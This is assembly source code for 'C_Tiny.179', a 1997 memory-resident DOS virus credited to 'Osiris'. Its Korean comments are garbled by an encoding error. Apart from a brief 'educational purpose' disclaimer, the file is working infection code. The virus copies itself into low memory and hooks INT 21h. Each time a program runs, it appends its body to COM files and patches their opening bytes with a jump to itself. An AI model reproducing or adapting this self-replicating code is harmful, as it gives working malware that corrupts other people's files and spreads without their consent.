;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                              \\\\\\\  \       \  \
;     C_Tiny.179                              \          \     \   \
;                                             \           \   \    \   98/03
;                                             \            \ \     \
;                                              \\\\\\\      \      \\\\\\\ #03
; Virus Name : C_Tiny.179
; Author     : Osiris
; Origin     : Corea
; Date       : 1997/12/07
;
; Type : Memory resident  COM
;
; !****************************************************************************!
; *                                                                            *
; * w !                                                                     *
; *    e aa a šaa. aBⷥ ae awAᴡea.      *
; *    Abae  aša Ae e AA Ёᕡ i  g   *
; *    ea. ew aa Зa ia !                                       *
; *                                                                            *
; * Warning !                                                                  *
; *    This is a VIRUS source code. This source code is provieded educational  *
; *    purpose. The author is not responsible for any damage caused by this c  *
; *    ode. Don't modify or execute it !                                       *
; *                                                                            *
; !****************************************************************************!
;
; eee w aa a B aA wea. (0020:0000)
; aa w  wbA Aa a ᴡ aa. e wbA 0  a
; ae t wA ae aae wA w a gea.
; a, COM ae qqǡa qq ae a   'M'  a ea
;
; ww  e Aaa 巡a. ei ϡa e  a awa gv
; a.
;
; a B AiA w ae aae aa a ba ea.
;
; bⷥ w aa AbA | Aeⷥ ww aB A
; iA w ae aaa.
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

            .MODEL  TINY
            .CODE
            .286

 C_Tiny:
            DB    0E8h,00,00            ;
            pop   si                    ; aa b a
            sub   si,0003               ; SI = aa b

            push  si                    ; w
            xor   di,DI                 ;
            mov   ds,DI
            mov   cx, offset End_Virus  ; aa  eq a

 Check_IVT_Zero:
            cmp   byte ptr [DI+200h],0  ; a aa 0  aea.
            jnz   Restore_COM_Head      ; e  t a 0  a we
            inc   DI                    ; wA w a gea
            loop  Check_IVT_Zero        ;

 Copy_Vir_IVT:
            mov   ax,0020h              ;
            mov   es,ax                 ;
            mov   cx, offset End_Virus  ; aa 
            xor   di,di                 ; a i  (0020:0000h)
            db    2Eh                   ; CS:SI -> ES:DI
            repz  movsb                 ; a !

            mov   si, 0084h             ; Int 21h t 苡
            mov   di, offset Jmp_Org_Int21 + 1
            push  si
            movsw
            movsw

            pop   si                    ;
            cli                         ; Int 21h a
            mov   word ptr [SI], offset NewInt21
            mov   word ptr [SI+2], 0020h
            sti

 Restore_COM_Head:
            push  cs                    ; cs=ds=es
            pop   ds
            push  cs
            pop   es
            pop   si                    ; SI 
            add   si, offset OldCOMHead ; COM |  e
            mov   di,100h               ; COM | 
            push  di                    ;
            movsw                       ; 4 aa 
            movsw                       ;
            ret                         ;

 OldCOMHead db    90h,90h,0CDh,20h      ;  COM |
            db   'C_Tiny'               ; aa q

 NewInt21:
            cmp   ah,4bh                ; Зa ?
            jnz   Jmp_Org_Int21

            pusha                       ; 286 + A 
            push  ds
            push  es

            mov   ax, 3D02h             ; a e
            int   21h
            jc    Error

            xchg  ax,bx                 ; Ѕi 苡

            push  cs                    ; Aaa ɷ
            pop   ds
            push  cs
            pop   es

            mov   ah, 3fh               ; a 
            mov   cx, 4                 ; aa
            mov   dx, offset OldCOMHead ; t
            int   21h

            cmp   byte ptr OldCOMHead, 'M' ; qqAa / EXE aa ?
            jz    Close

            mov   ax,4202h              ; a {a 
            xor   cx,cx
            xor   dx,dx
            int   21h

            mov   word ptr Jump_Code, 0E94Dh

            sub   ax,0004               ; at e
            mov   word ptr Jump_Code + 2, ax

            mov   ah, 40h               ; aa a
            mov   cx, offset End_Virus
            xor   dx,dx
            int   21h

            mov   ax,4200h              ; a qa 
            xor   cx,cx
            xor   dx,dx
            int   21h

            mov   ah, 40h               ; | a
            mov   cx, 4
            mov   dx, offset Jump_Code
            int   21h

 Close:
            mov   ah,3Eh                ; a h
            int   21h
 Error:
            pop   es
            pop   ds
            popa
 Jmp_Org_Int21:
            db    0EAh                  ;
 End_Virus:
            dw    ?,?                   ;

 Jump_Code  dw    ?                     ; M, E9h
            db    ?,?                   ; a t

 End_Memory:
            END   C_Tiny

